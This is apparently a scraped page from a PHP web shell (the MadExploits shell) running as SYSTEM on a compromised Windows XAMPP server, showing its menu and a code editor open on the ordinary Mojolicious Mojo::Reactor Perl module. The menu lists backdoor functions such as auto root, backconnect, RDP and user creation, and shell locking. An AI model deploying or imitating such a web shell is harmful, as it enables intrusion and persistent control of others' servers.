Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
Mojo /
[ HOME SHELL ]
Name
Size
Permission
Action
Asset
[ DIR ]
drwxrwxrwx
Content
[ DIR ]
drwxrwxrwx
Cookie
[ DIR ]
drwxrwxrwx
DOM
[ DIR ]
drwxrwxrwx
IOLoop
[ DIR ]
drwxrwxrwx
JSON
[ DIR ]
drwxrwxrwx
Message
[ DIR ]
drwxrwxrwx
Reactor
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Transaction
[ DIR ]
drwxrwxrwx
UserAgent
[ DIR ]
drwxrwxrwx
resources
[ DIR ]
drwxrwxrwx
Asset.pm
3.12
KB
-rw-rw-rw-
Base.pm
11.48
KB
-rw-rw-rw-
ByteStream.pm
8.31
KB
-rw-rw-rw-
Cache.pm
1.3
KB
-rw-rw-rw-
Collection.pm
10.15
KB
-rw-rw-rw-
Content.pm
14.59
KB
-rw-rw-rw-
Cookie.pm
1.55
KB
-rw-rw-rw-
DOM.pm
29.95
KB
-rw-rw-rw-
Date.pm
4.45
KB
-rw-rw-rw-
DynamicMethods.pm
2.96
KB
-rw-rw-rw-
EventEmitter.pm
3.49
KB
-rw-rw-rw-
Exception.pm
10.03
KB
-rw-rw-rw-
File.pm
12.88
KB
-rw-rw-rw-
Headers.pm
19.18
KB
-rw-rw-rw-
HelloWorld.pm
883
B
-rw-rw-rw-
Home.pm
1.64
KB
-rw-rw-rw-
IOLoop.pm
17.42
KB
-rw-rw-rw-
JSON.pm
8.94
KB
-rw-rw-rw-
Loader.pm
4.38
KB
-rw-rw-rw-
Log.pm
6.79
KB
-rw-rw-rw-
Message.pm
17.22
KB
-rw-rw-rw-
Parameters.pm
8.75
KB
-rw-rw-rw-
Path.pm
7.9
KB
-rw-rw-rw-
Promise.pm
14.68
KB
-rw-rw-rw-
Reactor.pm
5.66
KB
-rw-rw-rw-
Server.pm
4.41
KB
-rw-rw-rw-
Template.pm
17.82
KB
-rw-rw-rw-
Transaction.pm
6.9
KB
-rw-rw-rw-
URL.pm
12.55
KB
-rw-rw-rw-
Upload.pm
1.57
KB
-rw-rw-rw-
UserAgent.pm
34.61
KB
-rw-rw-rw-
Util.pm
22.55
KB
-rw-rw-rw-
WebSocket.pm
7.1
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Reactor.pm
package Mojo::Reactor; use Mojo::Base 'Mojo::EventEmitter'; use Carp qw(croak); use Config; use Mojo::Loader qw(load_class); my %DETECTED; sub again { croak 'Method "again" not implemented by subclass' } sub detect { my $default = 'Mojo::Reactor::' . ($Config{d_pseudofork} ? 'Poll' : 'EV'); my $try = $ENV{MOJO_REACTOR} || $default; return $DETECTED{$try} ||= load_class($try) ? 'Mojo::Reactor::Poll' : $try; } sub io { croak 'Method "io" not implemented by subclass' } sub is_running { croak 'Method "is_running" not implemented by subclass' } sub next_tick { croak 'Method "next_tick" not implemented by subclass' } sub one_tick { croak 'Method "one_tick" not implemented by subclass' } sub recurring { croak 'Method "recurring" not implemented by subclass' } sub remove { croak 'Method "remove" not implemented by subclass' } sub reset { croak 'Method "reset" not implemented by subclass' } sub start { croak 'Method "start" not implemented by subclass' } sub stop { croak 'Method "stop" not implemented by subclass' } sub timer { croak 'Method "timer" not implemented by subclass' } sub watch { croak 'Method "watch" not implemented by subclass' } 1; =encoding utf8 =head1 NAME Mojo::Reactor - Low-level event reactor base class =head1 SYNOPSIS package Mojo::Reactor::MyEventLoop; use Mojo::Base 'Mojo::Reactor'; sub again {...} sub io {...} sub is_running {...} sub next_tick {...} sub one_tick {...} sub recurring {...} sub remove {...} sub reset {...} sub start {...} sub stop {...} sub timer {...} sub watch {...} =head1 DESCRIPTION L<Mojo::Reactor> is an abstract base class for low-level event reactors, like L<Mojo::Reactor::EV> and L<Mojo::Reactor::Poll>. =head1 EVENTS L<Mojo::Reactor> inherits all events from L<Mojo::EventEmitter> and can emit the following new ones. =head2 error $reactor->on(error => sub { my ($reactor, $err) = @_; ... }); Emitted for exceptions caught in callbacks, fatal if unhandled. Note that if this event is unhandled or fails it might kill your program, so you need to be careful. $reactor->on(error => sub { my ($reactor, $err) = @_; say "Something very bad happened: $err"; }); =head1 METHODS L<Mojo::Reactor> inherits all methods from L<Mojo::EventEmitter> and implements the following new ones. =head2 again $reactor->again($id); $reactor->again($id, 0.5); Restart timer and optionally change the invocation time. Meant to be overloaded in a subclass. Note that this method requires an active timer. =head2 detect my $class = Mojo::Reactor->detect; Detect and load the best reactor implementation available, will try the value of the C<MOJO_REACTOR> environment variable, L<Mojo::Reactor::EV> or L<Mojo::Reactor::Poll>. # Instantiate best reactor implementation available my $reactor = Mojo::Reactor->detect->new; =head2 io $reactor = $reactor->io($handle => sub {...}); Watch handle for I/O events, invoking the callback whenever handle becomes readable or writable. Meant to be overloaded in a subclass. # Callback will be executed twice if handle becomes readable and writable $reactor->io($handle => sub { my ($reactor, $writable) = @_; say $writable ? 'Handle is writable' : 'Handle is readable'; }); =head2 is_running my $bool = $reactor->is_running; Check if reactor is running. Meant to be overloaded in a subclass. =head2 next_tick my $undef = $reactor->next_tick(sub {...}); Execute callback as soon as possible, but not before returning or other callbacks that have been registered with this method, always returns C<undef>. Meant to be overloaded in a subclass. =head2 one_tick $reactor->one_tick; Run reactor until an event occurs. Note that this method can recurse back into the reactor, so you need to be careful. Meant to be overloaded in a subclass. # Don't block longer than 0.5 seconds my $id = $reactor->timer(0.5 => sub {}); $reactor->one_tick; $reactor->remove($id); =head2 recurring my $id = $reactor->recurring(0.25 => sub {...}); Create a new recurring timer, invoking the callback repeatedly after a given amount of time in seconds. Meant to be overloaded in a subclass. =head2 remove my $bool = $reactor->remove($handle); my $bool = $reactor->remove($id); Remove handle or timer. Meant to be overloaded in a subclass. =head2 reset $reactor->reset; Remove all handles and timers. Meant to be overloaded in a subclass. =head2 start $reactor->start; Start watching for I/O and timer events, this will block until L</"stop"> is called. Note that some reactors stop automatically if there are no events being watched anymore. Meant to be overloaded in a subclass. # Start reactor only if it is not running already $reactor->start unless $reactor->is_running; =head2 stop $reactor->stop; Stop watching for I/O and timer events. Meant to be overloaded in a subclass. =head2 timer my $id = $reactor->timer(0.5 => sub {...}); Create a new timer, invoking the callback after a given amount of time in seconds. Meant to be overloaded in a subclass. =head2 watch $reactor = $reactor->watch($handle, $readable, $writable); Change I/O events to watch handle for with true and false values. Meant to be overloaded in a subclass. Note that this method requires an active I/O watcher. # Watch only for readable events $reactor->watch($handle, 1, 0); # Watch only for writable events $reactor->watch($handle, 0, 1); # Watch for readable and writable events $reactor->watch($handle, 1, 1); # Pause watching for events $reactor->watch($handle, 0, 0); =head1 SEE ALSO L<Mojolicious>, L<Mojolicious::Guides>, L<https://mojolicious.org>. =cut
Close